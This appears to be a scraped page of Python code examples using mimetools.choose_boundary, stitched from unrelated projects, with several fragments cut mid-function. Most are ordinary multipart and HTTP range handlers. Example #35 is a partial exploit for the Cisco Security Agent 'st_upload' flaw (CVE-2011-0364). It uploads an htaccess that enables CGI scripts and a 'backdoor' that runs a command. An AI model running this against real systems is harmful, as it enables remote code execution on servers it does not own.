    """A classs that holds constants for the Logo Certification tool."""

    ACCOUNTS = 'https://accounts.google.com'

    AUTH = {
        'CRED_FILE':
        'credentials.txt',
        'REDIRECT':
        'urn:ietf:wg:oauth:2.0:oob',
        'SCOPE': ('https://www.googleapis.com/auth/cloudprint '
                  'https://spreadsheets.google.com/feeds/'),
        'USER_AGENT':
        'CloudPrint_Client',
    }

    # AUTOMODE determines if manual input is needed for some test results.
    # If a user must examine a print job to determine pass or fail, set
    # AUTOMODE to False.
    AUTOMODE = False

    # A simple marker for the boundary of a multipart field for form data.
    BOUNDARY = mimetools.choose_boundary()

    # CAPS represent device features and affects which tests will be run.
    # The values should be True or False.
    CAPS = {
        'COLLATE': False,
        'COLOR': False,
        'COPIES_LOCAL':
        True,  # If a Printer supports copies for local printing,
        # set this to True.
        'COPIES_CLOUD':
        True,  # If a Printer supports copies for cloud printing,
        # set this to True.
        'COVER': True,  # Not all printers have a cover.
        'DUPLEX': True,
        'LAYOUT_ISSUE': True,  # Printer must set page orientation for local
        # printing, so page_orientation is still needed
        # in the printer capabilities.
        'LOCAL_PRINT': True,  # If a Printer supports local printing without
        # being registered, set this to True.
        'TONER': True,  # Set to false if printer is thermal or has no toner.
        'TRAY_SENSOR':
        False,  # Set this to True if printer has sensor to detect
        # if the paper tray is open.
        'MEDIA_SENSOR':
        False,  # Set this to True if printer has sensor to detect
        # if the paper tray is empty.
    }

    # Carriage return.
    CRLF = '\r\n'

    GCP = {
        'LEARN': 'http://www.google.com/cloudprint/learn/',
        'MGT': 'https://www.google.com/cloudprint',
        'PRINTERS': 'https://www.google.com/cloudprint#printers',
        'SIMULATE': 'https://www.google.com/cloudprint/simulate.html',
    }

    GOOGLE = 'https://www.google.com'

    # The following are the Google IDs of various type of documents.
    GOOGLE_DOCS = {
        'DOC1': ('https://docs.google.com/document/d/<doc_id of 1 page doc>'),
        'SHEET1': ('https://docs.google.com/spreadsheets/d/'
                   '<doc id of 1 page spreadsheet'),
        'PREZ1': ('https://docs.google.com/presentation/d/'
                  '<doc id of 1 page presentation (slide)'),
        'GMAIL1':
        'https://mail.google.com/mail/u/0/#inbox/<mail id 1 page>',
        'GMAIL2':
        'https://mail.google.com/mail/u/0/#inbox/'
        'mail id with foreign characters',
        'GMAIL3':
        'https://mail.google.com/mail/u/0/#inbox/'
        'mail id with an embedded image',
    }

    image_dir = os.path.join(os.getcwd(), 'images')
    IMAGES = {
        'GIF1': os.path.join(image_dir, '6MB.gif'),
        'GIF2': os.path.join(image_dir, 'img_0012.gif'),
        'GIF3': os.path.join(image_dir, 'poster.gif'),
        'GIF4': os.path.join(image_dir, 'Google-Glass.gif'),
        'HTML1': os.path.join(image_dir, 'ChromeOSPowerManagementSpec.html'),
        'JPG1': os.path.join(image_dir, 'b&w-test.jpg'),
        'JPG2': os.path.join(image_dir, 'colorkey.jpg'),
        'JPG3': os.path.join(image_dir, 'GoogleArt.jpg'),
        'JPG4': os.path.join(image_dir, 'GoogleCampus.jpg'),
        'JPG5': os.path.join(image_dir, 'google-car.jpg'),
        'JPG6': os.path.join(image_dir, 'GoogleGlass.jpg'),
        'JPG7': os.path.join(image_dir, 'GoogleGlass2.jpg'),
        'JPG8': os.path.join(image_dir, 'landscape-test.jpg'),
        'JPG9': os.path.join(image_dir, 'largeref.jpg'),
        'JPG10': os.path.join(image_dir, 'max_test_big.jpg'),
        'JPG11': os.path.join(image_dir, 'multitarget5.jpg'),
        'JPG12': os.path.join(image_dir, 'brin.jpg'),
        'JPG13': os.path.join(image_dir, 'stepchart.jpg'),
        'JPG14': os.path.join(image_dir, 'testprint.jpeg'),
        'PDF1': os.path.join(image_dir, 'a3color.pdf'),
        'PDF1.2': os.path.join(image_dir, 'PDF1.2.pdf'),
        'PDF1.3': os.path.join(image_dir, 'PDF1.3.pdf'),
        'PDF1.4': os.path.join(image_dir, 'PDF1.4.pdf'),
        'PDF1.5': os.path.join(image_dir, 'PDF1.5.pdf'),
        'PDF1.6': os.path.join(image_dir, 'PDF1.6.pdf'),
        'PDF1.7': os.path.join(image_dir, 'PDF1.7.pdf'),
        'PDF2': os.path.join(image_dir, 'boardingpass.pdf'),
        'PDF3': os.path.join(image_dir, 'letter_p.pdf'),
        'PDF4': os.path.join(image_dir, 'lorem.pdf'),
        'PDF5': os.path.join(image_dir, 'malformatted.pdf'),
        'PDF6': os.path.join(image_dir, 'margin-test.pdf'),
        'PDF7': os.path.join(image_dir, 'noise.pdf'),
        'PDF8': os.path.join(image_dir, 'pickrpt.pdf'),
        'PDF9': os.path.join(image_dir, 'printtest.pdf'),
        'PDF10': os.path.join(image_dir, 'rosemary.pdf'),
        'PDF11': os.path.join(image_dir, 'Satake_AE_web.pdf'),
        'PDF12': os.path.join(image_dir, 'ticket.pdf'),
        'PDF13': os.path.join(image_dir, 'version4pdf.pdf'),
        'PDF14': os.path.join(image_dir, 'YourTickets.pdf'),
        'PNG1': os.path.join(image_dir, 'A4testpage.png'),
        'PNG2': os.path.join(image_dir, 'dna_overview.png'),
        'PNG3': os.path.join(image_dir, 'gcpbeta.png'),
        'PNG4': os.path.join(image_dir, 'google_logo.png'),
        'PNG5': os.path.join(image_dir, 'printtest.png'),
        'PNG6': os.path.join(image_dir, 'printtest2.png'),
        'PNG7': os.path.join(image_dir, 'testpage.png'),
        'PNG8': os.path.join(image_dir, 'larrypage.png'),
        'PNG9': os.path.join(image_dir, 'mandlebulb_3d_test.png'),
        'SVG1': os.path.join(image_dir, 'DoNotDisturb.svg'),
        'SVG2': os.path.join(image_dir, 'Example.svg'),
        'TIFF1': os.path.join(image_dir, 'gcpreglink.tif'),
        'TIFF2': os.path.join(image_dir, 'marbles.tif'),
    }

    LOGFILES = '/tmp/logocert/'

    OAUTH = 'https://accounts.google.com/o/oauth2/auth'
    OAUTH_TOKEN = 'https://www.googleapis.com/oauth2/v3/token'

    PRINTER = {
        'CERTID': '<certification_id>',
        'FIRMWARE': '<Firmware Version>',
        'IP': '<ip_address of printer>',
        'MANUFACTURER': '<Printer Manufacturer>',
        'MODEL': '<Printer Model>',
        'NAME': '<Printer Name>',
        'PORT': '<integer value of port number of device web service>',
        'SERIAL': '<Printer Serial Number>',
        'STATUS': '<Released, Internal, ProtoType, Unknown>',
    }

    TEST = {
        'NAME': 'LogoCertification_Results',
        'RESULTS': ['Test Case ID', 'Test Case Name', 'Status', 'Notes'],
        'SPREADSHEET': True,
    }

    TESTENV = {
        'ANDROID': '<Android Version>',
        'CHROME': '<Chrome Version>',
        'CHROMEDRIVER': '<Chromedriver version>',
        'PYTHON': '<Python Version>',
        'OS': '<OS Name>',
        'TABLET': '<Tablet Version>',
    }

    URL = {
        'TIMEOUT': 20,
    }

    USER = {
        'CLIENT_ID': '<OAuth2_Client_ID_of_test_account>',
        'CLIENT_SECRET': '<OAuth2_Client_Secret_of_test_account>',
        'EMAIL': '<*****@*****.**>',
        'PW': '<password of test account.>',
    }

    USER2 = {
        'EMAIL': '<*****@*****.**>',
        'PW': '<password of 2nd test account>',
    }
            for value in values:
                buffer += '--%s\r\n' % boundary
                buffer += 'Content-Disposition: form-data; name="%s"' % key
                buffer += '\r\n\r\n' + value + '\r\n'
        for (key, fds) in files:
            if isinstance(fds, file):
                fds = [fds]
            for fd in fds:
                file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
                filename = fd.name.split('/')[-1]
                contenttype = mimetypes.guess_type(
                    filename)[0] or 'application/octet-stream'
                buffer += '--%s\r\n' % boundary
                buffer += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (
                    key, filename)
                buffer += 'Content-Type: %s\r\n' % contenttype
                # buffer += 'Content-Length: %s\r\n' % file_size
                fd.seek(0)
                buffer += '\r\n' + fd.read() + '\r\n'
        buffer += '--%s--\r\n\r\n' % boundary
        return boundary, buffer

    multipart_encode = Callable(multipart_encode)

    https_request = http_request


if __name__ == '__main__':
    mimetools._prefix = '---------------------------'
    print mimetools.choose_boundary()
Example #35
0
#!/usr/bin/env python
# Exploits Cisco Security Agent Management Console ‘st_upload’ (CVE-2011-0364)
# gerry eisenhaur <*****@*****.**>
 
import httplib
import mimetools
import StringIO
 
_boundary = mimetools.choose_boundary()
_host_uid = 'C087EFAE-05A2-4A0B-9512-E05E5ED84AEB'
_csamc = "192.168.0.108"
 
# we need to enable some scripting to get command access
htaccess = "Options +Includes +ExecCGI\r\nAddHandler cgi-script gee"
perl_path = "#!c:/program files/cisco/csamc/csamc60/perl/5.8.7/bin/mswin32-x86/perl\r\n",
backdoor = "exec \"calc.exe\";"
 
def send_request(params=None):
    buf = StringIO.StringIO()
    headers = {"Content-type": 'multipart/form-data; boundary=%s' % _boundary}
 
    for(key, value) in params.iteritems():
        buf.write('--%s\r\n' % _boundary)
        buf.write('Content-Disposition: form-data; name="%s"' % key)
        buf.write('\r\n\r\n%s\r\n' % value)
    buf.write('--' + _boundary + '--\r\n\r\n')
    body = buf.getvalue()
 
    conn = httplib.HTTPSConnection(_csamc)
    conn.request("POST", "/csamc60/agent", body, headers)
    response = conn.getresponse()
Example #36
0
 def test_boundary(self):
     s = sets.Set([""])
     for i in xrange(100):
         nb = mimetools.choose_boundary()
         self.assert_(nb not in s)
         s.add(nb)
Example #37
0
def serve_file(path, content_type=None, disposition=None, name=None):
    """Set status, headers, and body in order to serve the given file.
    
    The Content-Type header will be set to the content_type arg, if provided.
    If not provided, the Content-Type will be guessed by its extension.
    
    If disposition is not None, the Content-Disposition header will be set
    to "<disposition>; filename=<name>". If name is None, it will be set
    to the basename of path. If disposition is None, no Content-Disposition
    header will be written.
    """
    
    response = cherrypy.response
    
    # If path is relative, users should fix it by making path absolute.
    # That is, CherryPy should not guess where the application root is.
    # It certainly should *not* use cwd (since CP may be invoked from a
    # variety of paths). If using tools.static, you can make your relative
    # paths become absolute by supplying a value for "tools.static.root".
    if not os.path.isabs(path):
        raise ValueError("'%s' is not an absolute path." % path)
    
    try:
        st = os.stat(path)
    except OSError:
        raise cherrypy.NotFound()
    
    # Check if path is a directory.
    if stat.S_ISDIR(st.st_mode):
        # Let the caller deal with it as they like.
        raise cherrypy.NotFound()
    
    # Set the Last-Modified response header, so that
    # modified-since validation code can work.
    response.headers['Last-Modified'] = http.HTTPDate(st.st_mtime)
    cptools.validate_since()
    
    if content_type is None:
        # Set content-type based on filename extension
        ext = ""
        i = path.rfind('.')
        if i != -1:
            ext = path[i:].lower()
        content_type = mimetypes.types_map.get(ext, "text/plain")
    response.headers['Content-Type'] = content_type
    
    if disposition is not None:
        if name is None:
            name = os.path.basename(path)
        cd = '%s; filename="%s"' % (disposition, name)
        response.headers["Content-Disposition"] = cd
    
    # Set Content-Length and use an iterable (file object)
    #   this way CP won't load the whole file in memory
    c_len = st.st_size
    bodyfile = open(path, 'rb')
    
    # HTTP/1.0 didn't have Range/Accept-Ranges headers, or the 206 code
    if cherrypy.request.protocol >= (1, 1):
        response.headers["Accept-Ranges"] = "bytes"
        r = http.get_ranges(cherrypy.request.headers.get('Range'), c_len)
        if r == []:
            response.headers['Content-Range'] = "bytes */%s" % c_len
            message = "Invalid Range (first-byte-pos greater than Content-Length)"
            raise cherrypy.HTTPError(416, message)
        if r:
            if len(r) == 1:
                # Return a single-part response.
                start, stop = r[0]
                r_len = stop - start
                response.status = "206 Partial Content"
                response.headers['Content-Range'] = ("bytes %s-%s/%s" %
                                                       (start, stop - 1, c_len))
                response.headers['Content-Length'] = r_len
                bodyfile.seek(start)
                response.body = bodyfile.read(r_len)
            else:
                # Return a multipart/byteranges response.
                response.status = "206 Partial Content"
                boundary = mimetools.choose_boundary()
                ct = "multipart/byteranges; boundary=%s" % boundary
                response.headers['Content-Type'] = ct
                if response.headers.has_key("Content-Length"):
                    # Delete Content-Length header so finalize() recalcs it.
                    del response.headers["Content-Length"]
                
                def file_ranges():
                    # Apache compatibility:
                    yield "\r\n"
                    
                    for start, stop in r:
                        yield "--" + boundary
                        yield "\r\nContent-type: %s" % content_type
                        yield ("\r\nContent-range: bytes %s-%s/%s\r\n\r\n"
                               % (start, stop - 1, c_len))
                        bodyfile.seek(start)
                        yield bodyfile.read(stop - start)
                        yield "\r\n"
                    # Final boundary
                    yield "--" + boundary + "--"
                    
                    # Apache compatibility:
                    yield "\r\n"
                response.body = file_ranges()
        else:
            response.headers['Content-Length'] = c_len
            response.body = bodyfile
    else:
        response.headers['Content-Length'] = c_len
        response.body = bodyfile
    return response.body
Example #38
0
 def __init__(self):
     self.files = []
     self.boundary = mimetools.choose_boundary()
Example #39
0
 def __init__(self):
     self.form_fields = []
     self.files = []
     self.boundary = mimetools.choose_boundary()
     self.content_type = 'multipart/form-data; boundary=%s' % self.boundary
     return
Example #40
0
def _serve_fileobj(fileobj, content_type, content_length, debug=False):
    """Internal. Set response.body to the given file object, perhaps ranged."""
    response = cherrypy.serving.response
    request = cherrypy.serving.request
    if request.protocol >= (1, 1):
        response.headers['Accept-Ranges'] = 'bytes'
        r = httputil.get_ranges(request.headers.get('Range'), content_length)
        if r == []:
            response.headers['Content-Range'] = 'bytes */%s' % content_length
            message = 'Invalid Range (first-byte-pos greater than Content-Length)'
            if debug:
                cherrypy.log(message, 'TOOLS.STATIC')
            raise cherrypy.HTTPError(416, message)
        if r:
            if len(r) == 1:
                start, stop = r[0]
                if stop > content_length:
                    stop = content_length
                r_len = stop - start
                if debug:
                    cherrypy.log(
                        'Single part; start: %r, stop: %r' % (start, stop),
                        'TOOLS.STATIC')
                response.status = '206 Partial Content'
                response.headers['Content-Range'] = 'bytes %s-%s/%s' % (
                    start, stop - 1, content_length)
                response.headers['Content-Length'] = r_len
                fileobj.seek(start)
                response.body = file_generator_limited(fileobj, r_len)
            else:
                response.status = '206 Partial Content'
                from mimetools import choose_boundary
                boundary = choose_boundary()
                ct = 'multipart/byteranges; boundary=%s' % boundary
                response.headers['Content-Type'] = ct
                if 'Content-Length' in response.headers:
                    del response.headers['Content-Length']

                def file_ranges():
                    yield ntob('\r\n')
                    for start, stop in r:
                        if debug:
                            cherrypy.log(
                                'Multipart; start: %r, stop: %r' %
                                (start, stop), 'TOOLS.STATIC')
                        yield ntob('--' + boundary, 'ascii')
                        yield ntob('\r\nContent-type: %s' % content_type,
                                   'ascii')
                        yield ntob(
                            '\r\nContent-range: bytes %s-%s/%s\r\n\r\n' %
                            (start, stop - 1, content_length), 'ascii')
                        fileobj.seek(start)
                        for chunk in file_generator_limited(
                                fileobj, stop - start):
                            yield chunk

                        yield ntob('\r\n')

                    yield ntob('--' + boundary + '--', 'ascii')
                    yield ntob('\r\n')

                response.body = file_ranges()
            return response.body
        if debug:
            cherrypy.log('No byteranges requested', 'TOOLS.STATIC')
    response.headers['Content-Length'] = content_length
    response.body = fileobj
    return response.body
Example #41
0
    def put_blobs(self, blobs):
        """Puts a set of blobs.

    Args:
      blobs: List of (data, blobref) tuples; list of open files; or list of
        blob data strings.

    Returns:
      The set of blobs that were actually uploaded. If all blobs are already
      present this set will be empty.

    Raises:
      ServerError if the server response is bad.
      PayloadError if the server response is not in the right format.
      OSError or IOError if reading any blobs breaks.
    """
        if isinstance(blobs, dict):
            raise TypeError(
                'Must pass iterable of tuples, open files, or strings.')

        blobref_dict = {}
        for item in blobs:
            if isinstance(item, tuple):
                blob, blobref = item
            else:
                blob, blobref = item, None
            if blobref is None:
                blobref = 'sha1-' + buffered_sha1(blob,
                                                  buffer_size=self.buffer_size)
            blobref_dict[blobref] = blob

        preupload = {'camliversion': '1'}
        for index, blobref in enumerate(blobref_dict.keys()):
            preupload['blob%d' % (index + 1)] = blobref

        # TODO: What is the max number of blobs that can be specified in a
        # preupload request? The server probably has some reasonable limit and
        # after that we need to do batching in smaller groups.

        self._setup_connection()
        self.connection.request(
            'POST', '/camli/preupload', urllib.urlencode(preupload), {
                'Content-Type': 'application/x-www-form-urlencoded',
                'Authorization': self._authorization
            })
        response = self.connection.getresponse()
        logging.debug('Preupload HTTP response: %d %s', response.status,
                      response.reason)
        if response.status != 200:
            raise ServerError('Bad preupload response status: %d %s' %
                              (response.status, response.reason))

        data = response.read()
        try:
            response_dict = simplejson.loads(data)
        except simplejson.decoder.JSONDecodeError:
            raise PayloadError('Server returned bad preupload response: %r' %
                               data)

        logging.debug('Parsed preupload response: %r', response_dict)
        if 'alreadyHave' not in response_dict:
            raise PayloadError(
                'Could not find "alreadyHave" in preupload response: %r' %
                response_dict)
        if 'uploadUrl' not in response_dict:
            raise PayloadError(
                'Could not find "uploadUrl" in preupload response: %r' %
                response_dict)

        already_have_blobrefs = set()
        for blobref_json in response_dict['alreadyHave']:
            if 'blobRef' not in blobref_json:
                raise PayloadError(
                    'Cannot find "blobRef" in preupload response: %r',
                    response_dict)
            already_have_blobrefs.add(blobref_json['blobRef'])
        logging.debug('Already have blobs: %r', already_have_blobrefs)

        missing_blobrefs = set(blobref_dict.iterkeys())
        missing_blobrefs.difference_update(already_have_blobrefs)
        if not missing_blobrefs:
            logging.debug('All blobs already present.')
            return

        # TODO(bslatkin): Figure out the 'Content-Length' header value by looking
        # at the size of the files by seeking; required for multipart POST.
        out = cStringIO.StringIO()
        boundary = mimetools.choose_boundary()
        boundary_start = '--' + boundary

        blob_number = 0
        for blobref in blobref_dict.iterkeys():
            if blobref in already_have_blobrefs:
                logging.debug('Already have blobref=%s', blobref)
                continue
            blob = blobref_dict[blobref]
            blob_number += 1

            out.write(boundary_start)
            out.write('\r\nContent-Type: application/octet-stream\r\n')
            out.write('Content-Disposition: form-data; name="%s"; '
                      'filename="%d"\r\n\r\n' % (blobref, blob_number))
            if isinstance(blob, basestring):
                out.write(blob)
            else:
                while True:
                    buf = blob.read(self.buffer_size)
                    if buf == '':
                        break
                    out.write(buf)
            out.write('\r\n')
        out.write(boundary_start)
        out.write('--\r\n')
        request_body = out.getvalue()

        pieces = list(urlparse.urlparse(response_dict['uploadUrl']))
        # TODO: Support upload servers on another base URL.
        pieces[0], pieces[1] = '', ''
        relative_url = urlparse.urlunparse(pieces)
        self.connection.request(
            'POST', relative_url, request_body, {
                'Content-Type':
                'multipart/form-data; boundary="%s"' % boundary,
                'Content-Length': str(len(request_body)),
                'Authorization': self._authorization
            })

        response = self.connection.getresponse()
        logging.debug('Upload response: %d %s', response.status,
                      response.reason)
        if response.status not in (200, 301, 302, 303):
            raise ServerError('Bad upload response status: %d %s' %
                              (response.status, response.reason))

        while response.status in (301, 302, 303):
            # TODO(bslatkin): Support connections to servers on different addresses
            # after redirects. For now just send another request to the same server.
            location = response.getheader('Location')
            pieces = list(urlparse.urlparse(location))
            pieces[0], pieces[1] = '', ''
            new_relative_url = urlparse.urlunparse(pieces)
            logging.debug('Redirect %s -> %s', relative_url, new_relative_url)
            relative_url = new_relative_url
            self.connection.request('GET', relative_url)
            response = self.connection.getresponse()

        if response.status != 200:
            raise ServerError('Bad upload response status: %d %s' %
                              (response.status, response.reason))

        data = response.read()
        try:
            response_dict = simplejson.loads(data)
        except simplejson.decoder.JSONDecodeError:
            raise PayloadError('Server returned bad upload response: %r' %
                               data)

        if 'received' not in response_dict:
            raise PayloadError(
                'Could not find "received" in upload response: %r' %
                response_dict)

        received_blobrefs = set()
        for blobref_json in response_dict['received']:
            if 'blobRef' not in blobref_json:
                raise PayloadError(
                    'Cannot find "blobRef" in upload response: %r',
                    response_dict)
            received_blobrefs.add(blobref_json['blobRef'])
        logging.debug('Received blobs: %r', received_blobrefs)

        missing_blobrefs.difference_update(received_blobrefs)
        if missing_blobrefs:
            # TODO: Try to upload the missing ones.
            raise ServerError('Some blobs not uploaded: %r', missing_blobrefs)

        logging.debug('Upload of %d blobs successful.', len(blobref_dict))
        return received_blobrefs
Example #42
0
    def _range_request_handler(self, REQUEST, RESPONSE):
        # HTTP Range header handling: return True if we've served a range
        # chunk out of our data.
        range = REQUEST.get_header('Range', None)
        request_range = REQUEST.get_header('Request-Range', None)
        if request_range is not None:
            # Netscape 2 through 4 and MSIE 3 implement a draft version
            # Later on, we need to serve a different mime-type as well.
            range = request_range
        if_range = REQUEST.get_header('If-Range', None)
        if range is not None:
            ranges = HTTPRangeSupport.parseRange(range)

            if if_range is not None:
                # Only send ranges if the data isn't modified, otherwise send
                # the whole object. Support both ETags and Last-Modified dates!
                if len(if_range) > 1 and if_range[:2] == 'ts':
                    # ETag:
                    if if_range != self.http__etag():
                        # Modified, so send a normal response. We delete
                        # the ranges, which causes us to skip to the 200
                        # response.
                        ranges = None
                else:
                    # Date
                    date = if_range.split(';')[0]
                    try:
                        mod_since = long(DateTime(date).timeTime())
                    except:
                        mod_since = None
                    if mod_since is not None:
                        if self._p_mtime:
                            last_mod = long(self._p_mtime)
                        else:
                            last_mod = long(0)
                        if last_mod > mod_since:
                            # Modified, so send a normal response. We delete
                            # the ranges, which causes us to skip to the 200
                            # response.
                            ranges = None

            if ranges:
                # Search for satisfiable ranges.
                satisfiable = 0
                for start, end in ranges:
                    if start < self.size:
                        satisfiable = 1
                        break

                if not satisfiable:
                    RESPONSE.setHeader('Content-Range',
                                       'bytes */%d' % self.size)
                    RESPONSE.setHeader('Accept-Ranges', 'bytes')
                    RESPONSE.setHeader('Last-Modified',
                                       rfc1123_date(self._p_mtime))
                    RESPONSE.setHeader('Content-Type', self.content_type)
                    RESPONSE.setHeader('Content-Length', self.size)
                    RESPONSE.setStatus(416)
                    return True

                ranges = HTTPRangeSupport.expandRanges(ranges, self.size)

                if len(ranges) == 1:
                    # Easy case, set extra header and return partial set.
                    start, end = ranges[0]
                    size = end - start

                    RESPONSE.setHeader('Last-Modified',
                                       rfc1123_date(self._p_mtime))
                    RESPONSE.setHeader('Content-Type', self.content_type)
                    RESPONSE.setHeader('Content-Length', size)
                    RESPONSE.setHeader('Accept-Ranges', 'bytes')
                    RESPONSE.setHeader(
                        'Content-Range',
                        'bytes %d-%d/%d' % (start, end - 1, self.size))
                    RESPONSE.setStatus(206)  # Partial content

                    data = self.data
                    if isinstance(data, str):
                        RESPONSE.write(data[start:end])
                        return True

                    # Linked Pdata objects. Urgh.
                    pos = 0
                    while data is not None:
                        l = len(data.data)
                        pos = pos + l
                        if pos > start:
                            # We are within the range
                            lstart = l - (pos - start)

                            if lstart < 0: lstart = 0

                            # find the endpoint
                            if end <= pos:
                                lend = l - (pos - end)

                                # Send and end transmission
                                RESPONSE.write(data[lstart:lend])
                                break

                            # Not yet at the end, transmit what we have.
                            RESPONSE.write(data[lstart:])

                        data = data.next

                    return True

                else:
                    boundary = choose_boundary()

                    # Calculate the content length
                    size = (
                        8 + len(boundary) +  # End marker length
                        len(ranges) * (  # Constant lenght per set
                            49 + len(boundary) + len(self.content_type) +
                            len('%d' % self.size)))
                    for start, end in ranges:
                        # Variable length per set
                        size = (size + len('%d%d' % (start, end - 1)) + end -
                                start)

                    # Some clients implement an earlier draft of the spec, they
                    # will only accept x-byteranges.
                    draftprefix = (request_range is not None) and 'x-' or ''

                    RESPONSE.setHeader('Content-Length', size)
                    RESPONSE.setHeader('Accept-Ranges', 'bytes')
                    RESPONSE.setHeader('Last-Modified',
                                       rfc1123_date(self._p_mtime))
                    RESPONSE.setHeader(
                        'Content-Type', 'multipart/%sbyteranges; boundary=%s' %
                        (draftprefix, boundary))
                    RESPONSE.setStatus(206)  # Partial content

                    data = self.data
                    # The Pdata map allows us to jump into the Pdata chain
                    # arbitrarily during out-of-order range searching.
                    pdata_map = {}
                    pdata_map[0] = data

                    for start, end in ranges:
                        RESPONSE.write('\r\n--%s\r\n' % boundary)
                        RESPONSE.write('Content-Type: %s\r\n' %
                                       self.content_type)
                        RESPONSE.write(
                            'Content-Range: bytes %d-%d/%d\r\n\r\n' %
                            (start, end - 1, self.size))

                        if isinstance(data, str):
                            RESPONSE.write(data[start:end])

                        else:
                            # Yippee. Linked Pdata objects. The following
                            # calculations allow us to fast-forward through the
                            # Pdata chain without a lot of dereferencing if we
                            # did the work already.
                            first_size = len(pdata_map[0].data)
                            if start < first_size:
                                closest_pos = 0
                            else:
                                closest_pos = ((
                                    (start - first_size) >> 16 << 16) +
                                               first_size)
                            pos = min(closest_pos, max(pdata_map.keys()))
                            data = pdata_map[pos]

                            while data is not None:
                                l = len(data.data)
                                pos = pos + l
                                if pos > start:
                                    # We are within the range
                                    lstart = l - (pos - start)

                                    if lstart < 0: lstart = 0

                                    # find the endpoint
                                    if end <= pos:
                                        lend = l - (pos - end)

                                        # Send and loop to next range
                                        RESPONSE.write(data[lstart:lend])
                                        break

                                    # Not yet at the end, transmit what we have.
                                    RESPONSE.write(data[lstart:])

                                data = data.next
                                # Store a reference to a Pdata chain link so we
                                # don't have to deref during this request again.
                                pdata_map[pos] = data

                    # Do not keep the link references around.
                    del pdata_map

                    RESPONSE.write('\r\n--%s--\r\n' % boundary)
                    return True
Example #43
0
def do_request_(self, request):
    host = request.get_host()
    if not host:
        raise URLError('no host given')

    data = request.get_data()
    v_files = []
    v_vars = []
    if request.has_data() and not isinstance(data, str):  #POST
        if hasattr(data, 'items'):
            data = data.items()
        else:
            try:
                if len(data) and not isinstance(data[0], tuple):
                    raise TypeError
            except TypeError:
                _ty, _va, tb = sys.exc_info()
                try:
                    raise TypeError, "not a valid non-string sequence or mapping object: %r" % type(
                        data), tb
                finally:
                    del tb
        for (k, v) in data:
            if hasattr(v, 'read'):
                v_files.append((k, v))
            else:
                v_vars.append((k, v))
        boundary = mimetools.choose_boundary()
        request.boundary = boundary
        request.v_files = v_files
        request.v_vars = v_vars
    # no file ? convert to string
    if len(v_vars) > 0 and len(v_files) == 0:
        request.data = data = urllib.urlencode(v_vars)
        v_files[:] = []
        v_vars[:] = []

    if request.has_data():
        if not 'Content-type' in request.headers:
            if len(v_files) > 0:
                l = send_data(v_vars, v_files, boundary)
                request.add_unredirected_header(
                    'Content-Type',
                    'multipart/form-data; boundary=%s' % boundary)
                request.add_unredirected_header('Content-length', str(l))
            else:
                request.add_unredirected_header(
                    'Content-type', 'application/x-www-form-urlencoded')
                if not 'Content-length' in request.headers:
                    request.add_unredirected_header('Content-length',
                                                    '%d' % len(data))

    _scheme, sel = splittype(request.get_selector())
    sel_host, _sel_path = splithost(sel)
    if not request.has_header('Host'):
        request.add_unredirected_header('Host', sel_host or host)
    for name, value in self.parent.addheaders:
        name = name.capitalize()
        if not request.has_header(name):
            request.add_unredirected_header(name, value)

    return request
Example #44
0
    def upload(self, filename=None, jpegData=None, **arg):
        """Upload a file to flickr.

		Be extra careful you spell the parameters correctly, or you will
		get a rather cryptic "Invalid Signature" error on the upload!

		Supported parameters:

		One of filename or jpegData must be specified by name when 
		calling this method:

		filename -- name of a file to upload
		jpegData -- array of jpeg data to upload

		api_key
		auth_token
		title
		description
		tags -- space-delimited list of tags, "tag1 tag2 tag3"
		is_public -- "1" or "0"
		is_friend -- "1" or "0"
		is_family -- "1" or "0"

		"""

        if filename == None and jpegData == None or \
         filename != None and jpegData != None:

            raise UploadException("filename OR jpegData must be specified")

        # verify key names
        for a in arg.keys():
            if a != "api_key" and a != "auth_token" and a != "title" and \
             a != "description" and a != "tags" and a != "is_public" and \
             a != "is_friend" and a != "is_family":

                sys.stderr.write("FlickrAPI: warning: unknown parameter " \
                 "\"%s\" sent to FlickrAPI.upload\n" % (a))

        arg["api_sig"] = self.__sign(arg)
        url = "http://" + FlickrAPI.flickrHost + FlickrAPI.flickrUploadForm

        # construct POST data
        boundary = mimetools.choose_boundary()
        body = ""

        # required params
        for a in ('api_key', 'auth_token', 'api_sig'):
            body += "--%s\r\n" % (boundary)
            body += "Content-Disposition: form-data; name=\"" + a + "\"\r\n\r\n"
            body += "%s\r\n" % (arg[a])

        # optional params
        for a in ('title', 'description', 'tags', 'is_public', \
         'is_friend', 'is_family'):

            if arg.has_key(a):
                body += "--%s\r\n" % (boundary)
                body += "Content-Disposition: form-data; name=\"" + a + "\"\r\n\r\n"
                body += "%s\r\n" % (arg[a])

        body += "--%s\r\n" % (boundary)
        body += "Content-Disposition: form-data; name=\"photo\";"
        body += " filename=\"%s\"\r\n" % filename
        body += "Content-Type: image/jpeg\r\n\r\n"

        #print body

        if filename != None:
            fp = file(filename, "rb")
            data = fp.read()
            fp.close()
        else:
            data = jpegData

        postData = body.encode("utf_8") + data + \
         ("--%s--" % (boundary)).encode("utf_8")

        request = urllib2.Request(url)
        request.add_data(postData)
        request.add_header("Content-Type", \
         "multipart/form-data; boundary=%s" % boundary)
        response = urllib2.urlopen(request)
        rspXML = response.read()

        return XMLNode.parseXML(rspXML)
  def _range_request_handler(self, REQUEST, RESPONSE):
    RESPONSE.setHeader("Content-Type", "application/octet-stream")
    # HTTP Range header handling: return True if we've served a range
    # chunk out of our data.
    # convert ranges from bytes to array indices
    slice_index = REQUEST.get('slice_index', None)
    if slice_index is not None:
      slice_index_list = []
      for index in slice_index:
        slice_index_list.append(slice(index.get('start'),
                                      index.get('stop'),
                                      index.get('step')))
      list_index = REQUEST.get('list_index', None)
      if list_index is not None:
        RESPONSE.write(self.getArray()[tuple(slice_index_list)][list_index].tobytes())
      else:
        RESPONSE.write(self.getArray()[tuple(slice_index_list)].tobytes())
      return True

    range = REQUEST.get_header('Range', None)
    request_range = REQUEST.get_header('Request-Range', None)
    if request_range is not None:
      # Netscape 2 through 4 and MSIE 3 implement a draft version
      # Later on, we need to serve a different mime-type as well.
      range = request_range
    if_range = REQUEST.get_header('If-Range', None)
    if range is not None:
      ranges = HTTPRangeSupport.parseRange(range)

      array = self.getArray()
      factor = array.nbytes / array.shape[0]

      if if_range is not None:
        # Only send ranges if the data isn't modified, otherwise send
        # the whole object. Support both ETags and Last-Modified dates!
        if len(if_range) > 1 and if_range[:2] == 'ts':
          # ETag:
          if if_range != self.http__etag():
            # Modified, so send a normal response. We delete
            # the ranges, which causes us to skip to the 200
            # response.
            ranges = None
        else:
          # Date
